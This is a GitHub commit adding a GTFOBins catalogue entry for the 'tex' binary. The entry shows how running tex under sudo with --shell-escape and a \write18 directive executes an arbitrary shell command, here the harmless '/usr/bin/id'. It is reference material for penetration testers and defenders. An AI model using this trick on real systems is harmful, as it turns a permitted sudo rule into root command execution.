Create tex.md

Add tex.
This commit is contained in:
SynackCerv 2021-04-22 22:13:08 +02:00 committed by GitHub
parent 85010470b2
commit 8c08101fed
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

6
_gtfobins/tex.md Normal file
View File

@ -0,0 +1,6 @@
description: `tex` has a similar behaviour as [`pdftex`](/gtfobins/pdftex/)
functions:
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
tex -interaction=nonstopmode --shell-escape file.tex